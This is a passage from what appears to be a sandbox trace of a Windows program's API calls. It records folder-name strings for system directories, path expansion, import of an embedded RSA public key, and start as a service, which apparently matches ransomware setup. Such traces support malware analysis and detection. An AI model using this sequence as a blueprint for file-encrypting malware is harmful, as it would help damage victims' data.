lpMultiByteStr=0xd5c1f8, cbMultiByte=25, lpWideCharStr=0xd5dae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0173.075] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5db68 [0173.075] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5dae0) returned 1 [0173.075] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x10) returned 0xd5d5e8 [0173.075] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d248 [0173.075] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5dae0 [0173.076] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5db68) returned 1 [0173.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd5c1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0173.076] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5db68 [0173.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd5c1b0, cbMultiByte=12, lpWideCharStr=0xd5db68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0173.076] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5dbf0 [0173.076] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5db68) returned 1 [0173.076] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d238 [0173.076] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5db68 [0173.076] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5dbf0) returned 1 [0173.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd5c168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0173.076] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5dbf0 [0173.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd5c168, cbMultiByte=8, lpWideCharStr=0xd5dbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0173.076] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5dc78 [0173.076] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5dbf0) returned 1 [0173.076] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d228 [0173.076] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5dbf0 [0173.076] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5dc78) returned 1 [0173.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd5c120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0173.076] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5dc78 [0173.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd5c120, cbMultiByte=6, lpWideCharStr=0xd5dc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0173.076] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5dd00 [0173.076] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5dc78) returned 1 [0173.076] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d218 [0173.076] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5dc78 [0173.076] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5dd00) returned 1 [0173.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd5c240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0173.076] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5dd00 [0173.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd5c240, cbMultiByte=11, lpWideCharStr=0xd5dd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0173.076] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5dd88 [0173.076] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5dd00) returned 1 [0173.076] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x20) returned 0xd5dd00 [0173.076] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d5e8) returned 1 [0173.076] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d208 [0173.076] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5de28 [0173.076] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5dd88) returned 1 [0173.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd5c0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0173.077] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5deb0 [0173.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd5c0d8, cbMultiByte=7, lpWideCharStr=0xd5deb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0173.077] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5df38 [0173.077] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5deb0) returned 1 [0173.077] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d1e8 [0173.077] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5deb0 [0173.077] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5df38) returned 1 [0173.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd5c288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0173.077] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5df38 [0173.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd5c288, cbMultiByte=11, lpWideCharStr=0xd5df38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0173.077] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5dfc0 [0173.077] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5df38) returned 1 [0173.077] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d1f8 [0173.077] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5df38 [0173.077] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5dfc0) returned 1 [0173.077] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c1f8) returned 1 [0173.077] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d2c8) returned 1 [0173.077] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c1b0) returned 1 [0173.077] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d2d8) returned 1 [0173.077] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c168) returned 1 [0173.077] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d298) returned 1 [0173.077] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.077] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d288) returned 1 [0173.077] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c240) returned 1 [0173.077] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d278) returned 1 [0173.077] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.077] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d268) returned 1 [0173.077] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.077] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d258) returned 1 [0173.077] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bc08) returned 1 [0173.077] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x2800) returned 0xd62850 [0173.077] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.077] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.077] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x10) returned 0xd5d5e8 [0173.077] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d258 [0173.077] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.077] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.077] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.078] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.078] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d258) returned 1 [0173.078] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d5e8) returned 1 [0173.078] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd62850) returned 1 [0173.078] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x2800) returned 0xd62850 [0173.078] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.078] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.078] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.078] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x10) returned 0xd5d5e8 [0173.078] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d258 [0173.078] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.078] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.078] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.078] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d268 [0173.078] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c240 [0173.078] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.078] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.078] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d278 [0173.078] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.078] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.078] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d288 [0173.078] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.078] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x10) returned 0xd5d618 [0173.078] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d298 [0173.078] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c168 [0173.078] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d2d8 [0173.078] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c1b0 [0173.078] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d2c8 [0173.078] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c1f8 [0173.078] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d2e8 [0173.078] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c5e8 [0173.078] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.078] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d258) returned 1 [0173.078] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c240) returned 1 [0173.078] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d268) returned 1 [0173.078] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.078] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d278) returned 1 [0173.079] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.079] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d288) returned 1 [0173.079] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d5e8) returned 1 [0173.079] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.079] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.079] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.079] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.079] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.079] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.079] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.079] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.079] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x10) returned 0xd5d5e8 [0173.079] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d288 [0173.079] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.079] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d278 [0173.079] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.079] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d268 [0173.079] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c240 [0173.079] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d258 [0173.079] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.079] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c168) returned 1 [0173.079] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d298) returned 1 [0173.079] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c1b0) returned 1 [0173.079] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d2d8) returned 1 [0173.079] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c1f8) returned 1 [0173.079] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d2c8) returned 1 [0173.079] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c5e8) returned 1 [0173.079] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d2e8) returned 1 [0173.079] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d618) returned 1 [0173.079] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x10) returned 0xd5d618 [0173.079] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d2e8 [0173.079] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c5e8 [0173.079] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d2c8 [0173.079] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c1f8 [0173.079] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d2d8 [0173.079] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c1b0 [0173.079] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d298 [0173.079] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c168 [0173.080] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.080] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d288) returned 1 [0173.080] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.080] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d278) returned 1 [0173.080] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c240) returned 1 [0173.080] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d268) returned 1 [0173.080] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.080] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d258) returned 1 [0173.080] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d5e8) returned 1 [0173.080] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0xd62850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0173.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd62850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0173.080] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0xd62850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0173.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd62850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0173.080] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0xd62850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0173.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd62850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0173.080] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0xd62850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0173.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd62850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0173.081] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x2dfabc, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x2dfabc, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0173.081] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0xd67cf8, pcbBinary=0x2dfabc, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0xd67cf8, pcbBinary=0x2dfabc, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0173.081] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0xd67cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x2dfabc | out: pvStructInfo=0x0, pcbStructInfo=0x2dfabc) returned 1 [0173.085] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0xd67cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0xd67f40, pcbStructInfo=0x2dfabc | out: pvStructInfo=0xd67f40, pcbStructInfo=0x2dfabc) returned 1 [0173.085] CryptImportPublicKeyInfo (in: hCryptProv=0x33e498, dwCertEncodingType=0x10001, pInfo=0xd67f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0xd67f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0xd67f78*, PublicKey.cUnusedBits=0x0), phKey=0x2dfac0 | out: phKey=0x2dfac0*=0x342498) returned 1 [0173.086] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd67f40) returned 1 [0173.086] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd67cf8) returned 1 [0173.086] ReleaseMutex (hMutex=0xa0) returned 1 [0173.086] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd65058) returned 1 [0173.086] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x2800) returned 0xd65058 [0173.086] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c900 [0173.086] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c900) returned 1 [0173.086] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd65058) returned 1 [0173.086] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x2800) returned 0xd65058 [0173.086] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c900 [0173.086] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c900) returned 1 [0173.086] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c900 [0173.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd5c900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0173.086] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e1e0 [0173.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd5c900, cbMultiByte=9, lpWideCharStr=0xd5e1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0173.086] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5e268 [0173.086] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e1e0) returned 1 [0173.086] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5e268) returned 1 [0173.086] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c900) returned 1 [0173.086] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd65058) returned 1 [0173.086] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd62850) returned 1 [0173.086] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.086] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d258) returned 1 [0173.087] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c240) returned 1 [0173.087] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d268) returned 1 [0173.087] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.087] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d278) returned 1 [0173.087] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.087] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d288) returned 1 [0173.087] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d5e8) returned 1 [0173.087] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0173.087] StartServiceCtrlDispatcherW (lpServiceTable=0x2dfb88*(lpServiceName="", lpServiceProc=0x107d040)) [0175.911] SetServiceStatus (hServiceStatus=0x33e408, lpServiceStatus=0x2dfa88*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 